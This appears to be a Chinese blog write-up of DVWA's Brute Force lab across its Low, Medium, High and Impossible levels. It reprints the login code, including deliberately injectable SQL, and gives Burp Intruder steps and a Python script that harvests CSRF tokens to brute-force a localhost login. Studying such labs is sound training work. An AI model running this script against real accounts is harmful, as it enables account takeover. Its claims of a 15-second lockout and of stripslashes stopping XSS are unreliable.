DVWA--Brute Force(暴力破解)--四个等级

DVWA的Brute Force,也就是我们所熟悉的暴力破解,这里它一共有四个等级
Low、Medium、High、Impossible
这里我们就源码简单探讨一下

Low

源代码:



if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

mysqli_query(connection,query,resultmode) :执行一条 MySQL 查询
connection 必需。规定要使用的 MySQL 连接
query 必需,规定查询字符串。
resultmode 可选。一个常量。可以是下列值中的任意一个:
MYSQLI_USE_RESULT(如果需要检索大量数据,请使用这个)
MYSQLI_STORE_RESULT(默认)

针对成功的SELECT,SHOW,DESCRIBE或EXPLAIN查询,将返回一个mysqli_result对象。针对其他成功的查询,将返回TRUE。如果失败,则返回FALSE

$GLOBALS :引用全局作用域中可用的全部变量
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键

or :php其中一个运算符,表示或
$x or $y 如果 $x 和 $y 至少有一个为 true,则返回 true
命令1 or 命令2:如果命令1返回true,则不执行or后面的命令;如果命令1返回false,则执行命令2
和die连用比较多,举例:


$site = "https://www.baidu.com/";
fopen($site,"r")   //以只读形式打开$site这个网址
or die("Unable to connect to $site");
/*
如果可以打开网站,不执行die;如果不能打开,执行die(die输出一条消息,并退出当前脚本,所以是true的),
执行die之后,不管发生什么,程序都已经停止运行,并且显示指定出错信息,也就达到了调试的目的
*/
?>

die(status) :输出一条消息,并退出当前脚本
status 必需。规定在退出脚本之前需要输出的消息或状态号。状态号不会被写入输出
如果 status 是字符串,则该函数会在退出前输出字符串。
如果 status 是整数,这个值会被用作退出状态。退出状态的值在 0 至 254 之间。退出状态 255 由 PHP 保留,不会被使用。状态 0 用于成功地终止程序
注释:如果 PHP 的版本号大于等于 4.2.0,那么在 status 是整数的情况下,不会输出该参数

is_object($var) :用于检测变量是否是一个对象
$var:要检测的变量
如果指定变量为对象,则返回TRUE,否则返回FALSE

mysqli_error(connection) :返回上一个 MySQL 操作产生的文本错误信息
本函数返回上一个 MySQL 函数的错误文本,如果没有出错则返回 ‘’(空字符串)
connection 可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接
举例:


$con = mysqli_connect("localhost","username","password");
if (!$con)
  {
  die(mysqli_error());
  }
mysqli_close($con);
?>

mysqli_connect_error() :返回上一次连接错误的错误描述
返回一个描述错误的字符串。如果没有错误发生则返回NULL

mysqli_num_rows(result) :返回结果集中行的数目
result 必需。规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符

举例:


$con = mysqli_connect("localhost", "hello", "321");
if (!$con)
  {
  die('Could not connect: ' . mysqli_error());
  }

$db_selected = mysqli_select_db("test_db",$con);

$sql = "SELECT * FROM person";
$result = mysqli_query($sql,$con);
echo mysqli_num_rows($result);

mysqli_close($con);
?>
/*
输出类似:
3
*/

mysqli_fetch_assoc(result) :从结果集中取得一行作为关联数组
本函数返回的字段名是区分大小写的
返回值: 返回代表读取行的关联数组。如果结果集中没有更多的行则返回NULL
举例:


$con = mysqli_connect("localhost", "hello", "321");
if (!$con)
  {
  die('Could not connect: ' . mysqli_error());
  }

$db_selected = mysqli_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Adams'";
$result = mysqli_query($sql,$con);
print_r(mysqli_fetch_assoc($result));

mysqli_close($con);
?>
/*
输出:
Array
(
[LastName] => Adams
[FirstName] => John
[City] => London
) 
*/

is_null ($var) :检测变量是否为 NULL
var 允许传入任意参数
如果var是NULL则返回 TRUE,否则返回 FALSE

mysqli_close(connection) :关闭先前打开的数据库连接
connection 必需。规定要关闭的 MySQL 连接
返回值: 如果成功则返回TRUE,如果失败则返回FALSE

渗透过程
1.登陆前打开Burpsuite抓包,抓到GET请求包DVWA--Brute Force(暴力破解)--四个等级_第1张图片
发送到Intruder,选择需要爆破的变量,这里我们假设已知用户名为admin的情况
DVWA--Brute Force(暴力破解)--四个等级_第2张图片
配置爆破字典
DVWA--Brute Force(暴力破解)--四个等级_第3张图片
调整线程,提高爆破速度
DVWA--Brute Force(暴力破解)--四个等级_第4张图片
爆破成功,有一个Length和其他都不相同,这里可以看出它就是正确密码

DVWA--Brute Force(暴力破解)--四个等级_第5张图片


Medium

源代码:
 

if( isset( $_GET[ 'Login' ] ) ) { 
    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass = md5( $pass ); 

    // Check the database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed sleep( 2 ); echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

部分代码释义:
mysqli_real_escape_string(connection,escapestring) :转义在SQL语句中使用的字符串中的特殊字符
connection 必需。规定要使用的 MySQL 连接
escapestring 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z
返回值: 返回已转义的字符串
举例:
这里举的不是很好但是大致可以理解
在这里插入图片描述
假设$a是变量(实则是一个字符串),以上代码返回true,假设你传入一个$a传入一个单引号,那么我们看看会发生什么
在这里插入图片描述
假设上面使用的是mysqli_real_escape_string()函数,是这个函数添加的\,转义了第2个单引号;此时上面图中的第2个单引号和第3个单引号不能构成空,也就是’ ‘;因为嘛,被转义的单引号现在仅仅就是个字符,并不能使用它的任何“权利”;比如它要和另一个单引号结合,这是不可能的,因为你已经被转义了;虽然你加了\外表还是’,但你和第3个单引号内在是不一样的(这里所说单引号,都是上图中的)

trigger_error(errormsg,errortype) :创建用户级别的错误消息。
trigger_error() 函数能结合内置的错误处理器所关联,或者可以使用用户定义的函数作为新的错误处理程序(set_error_handler())
errormsg 必需。规定错误消息。最大长度 1024 字节。
errortype 可选。规定错误类型。可能的值:
E_USER_ERROR
E_USER_WARNING
E_USER_NOTICE(默认)
如果规定了错误的 errortype,则返回 FALSE。否则返回 TRUE
举例:


 if ($usernum>10) {
     trigger_error("Number cannot be larger than 10");
 }
 ?> 
/*以上代码的输出类似这样:
Notice: Number cannot be larger than 10
 in C:\webfolder\test.php on line 6
 */

E_USER_ERROR
E_USER_ERROR只能通过trigger_error($ msg,E_USER_ERROR)手动触发.E_USER_ERROR是用户自定义错误类型,可以被设置为错误处理函数捕获退出运行

sleep(seconds) :延迟执行当前脚本若干秒
seconds 必需。规定延迟执行脚本的秒数
如果指定秒数是负数,该函数将抛出一个错误
如果成功则返回0,如果错误则返回FALSE。
如果调用被信号中断,该函数返回一个非零值。在Windows平台上,该值将总是192,表示Windows API中的WAIT_IO_COMPLETION常量的值。在其他平台上,返回值将是剩余的延迟秒数

medium代码用mysqli_real_escape_string(connection,escapestring)对输入的用户名与密码进行了转义,防止了利用单引号,双引号等参数构造进行SQL注入,这里的sleep(2),表示登陆失败时,延迟2s返回登录失败信息,这就造成了每一次爆破如果密码错误,进行下一次爆破要比之前Low级别的代码多上2s延迟,其他没有什么。


High

源代码:
 

if( isset( $_GET[ 'Login' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = stripslashes( $user ); 
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = stripslashes( $pass ); 
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass = md5( $pass ); 

    // Check database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed sleep( rand( 0, 3 ) ); echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

部分函数释义:
stripslashes(string) :删除反斜杠
string 必需。规定要检查的字符串

rand(min,max) :返回随机整数
min,max 可选。规定随机数产生的范围
如果没有提供可选参数 min 和 max,rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如,想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15);在某些平台下(例如 Windows)RAND_MAX 只有 32768。如果需要的范围大于 32768,那么指定 min 和 max 参数就可以生成大于 RAND_MAX 的数了,或者考虑用 mt_rand() 来替代它

High级别的代码使用了Anti-CSRF token来抵御CSRF的攻击,使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击

由于使用了Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做user_token的检查,再进行sql查询。

方法一:使用burpsuite爆破
前提:截取到数据包时,不可放行,要保持截取的状态,否则无法Refetch response,造成无法爆破
例:爆破时保持该状态
DVWA--Brute Force(暴力破解)--四个等级_第6张图片
(1)抓到包后设置Positions
DVWA--Brute Force(暴力破解)--四个等级_第7张图片
(2)设置Options
①设置线程
DVWA--Brute Force(暴力破解)--四个等级_第8张图片
②找到Grep-Extract,选择Extract the following items from responses:,再点击add(下图中是我之前就已经添加了的)
DVWA--Brute Force(暴力破解)--四个等级_第9张图片
③获取返回页面的源码
DVWA--Brute Force(暴力破解)--四个等级_第10张图片
④找到需要爆破的user_token的值,然后点击OK,这里记得保存该值
DVWA--Brute Force(暴力破解)--四个等级_第11张图片
(3)设置payloads
DVWA--Brute Force(暴力破解)--四个等级_第12张图片
DVWA--Brute Force(暴力破解)--四个等级_第13张图片
注:Positions中user_token的值是不可以的

(4)之后就可以开始攻击
DVWA--Brute Force(暴力破解)--四个等级_第14张图片
注:该方法成功爆破后无法再次爆破,需要重新截取数据包重新操作!!!

方法二:使用后burp中宏自动化获取token进行攻击

参考我的另一篇文章(以DVWA为例):Burpsuite中宏的使用

方法三:我们用python3写一段代码进行自动化爆破

from bs4 import BeautifulSoup
import requests

def get_token(requrl,header):
    response = requests.get(url=requrl,headers=header)
    print(response.status_code,len(response.content))  # response.status_code(),输出状态码  response.content(),获取响应的内容
    soup = BeautifulSoup(response.text,"html.parser")  # 获取被抓取页面的html代码,并使用html.parser来实例化BeautifulSoup,属于固定套路
    input = soup.select("input[type='hidden']")  # 返回的是一个list列表
    user_token = input[0]['value']               #获取用户的token
    return user_token

if __name__ =='__main__':

  requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/"
  header = {
            "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
            "Accept-Language" : "zh-CN,zh;q=0.9,en;q=0.8",
            "Connection" : "keep-alive",
            "Cookie" : "security=high; PHPSESSID=qcssnmjr6hs4ntsile37dav20h",
            "Host" : "127.0.0.1:8008",
            "Referer" : "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/",
            "Upgrade-Insecure-Requests" : "1",
            "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
            }

  user_token = get_token(requrl,header)
  i = 0
  for line in open("C:/Users/Yuen/Desktop/pass.txt"):
      requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
      i = i + 1
      print(i,'admin',line.strip(),end=" ")
      user_token = get_token(requrl,header)
      if (i == 10):
          break

这里我就爆破了10次,作为演示;实际次数取决于你字典的大小和你的需求

input[type=‘hidden’] ,即为我们查找时也可以通过 标签[属性] 的方式查找,属性需要用中括号括起来,注意属性和标签属于同一节点,所以中间不能加空格,否则会无法匹配到

input[0][‘value’] ,先获取到input的第1个值,也就是
[]里的
,因为可以通过属性获取q其属性值,所以后面的[‘vlaue’]表示获取属性value的属性值,也就是8f77cd5dd9d3033cdd61ab2abb48e1c2

BeautififulSoup 使用find_all()、find()、select() 方法定位所需要的元素,这里主要介绍一下 select()
(1)通过标签名查找–什么也不加
例:print soup.select(‘title’)
(2)通过类名查找–前面加.
print soup.select(’.sister’)
#[>]
(3)通过 id 名查找–前面加#
print soup.select(’#link1’)
#[
]

strip() 方法语法:str.strip([chars])
chars – 移除字符串头尾指定的字符序列
Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
返回移除字符串头尾指定的字符生成的新字符串
注意:该方法只能删除开头或是结尾的字符,不能删除中间部分的字符。

end=’ ’
举例:

print("123456",end=' ');

包含end=’‘作为print()BIF的一个参数,会使该函数关闭“在输出中自动包含换行”的默认行为。因为python中print之后是默认换行的,是因为其默认属性 end 默认值为"\n"(\n为换行符)。所以end=’ '的原理是:为end传递一个空空格,这样print函数不会在字符串末尾添加一个换行符,而是添加一个空格。
这个只有Python3支持,Python2不支持。

Impossible

源代码:
<?php

if( isset( $_POST[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "

This account has been locked due to too many incorrect logins.
"
; // Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); /* print "The last login was: " . date ("h:i:s", $last_login) . "
"
; print "The timenow is: " . date ("h:i:s", $timenow) . "
"
; print "The timeout is: " . date ("h:i:s", $timeout) . "
"
; */ // Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked
"
; } } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // Login successful echo "

Welcome to the password protected area {$user}

"
; echo ""; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "

Warning: Someone might of been brute forcing your account.

"
; echo "

Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.

"
; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback echo "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
"
; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>

Impossible级别的代码加入了可靠的防爆破机制,当检测到错误登录3次后将会锁定账户15s,系统会将账户锁定,爆破也就无法继续
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令

因为我还没有学过PDO,等学完,会写一片PDO笔记分享给大家

你可能感兴趣的:(DVWA)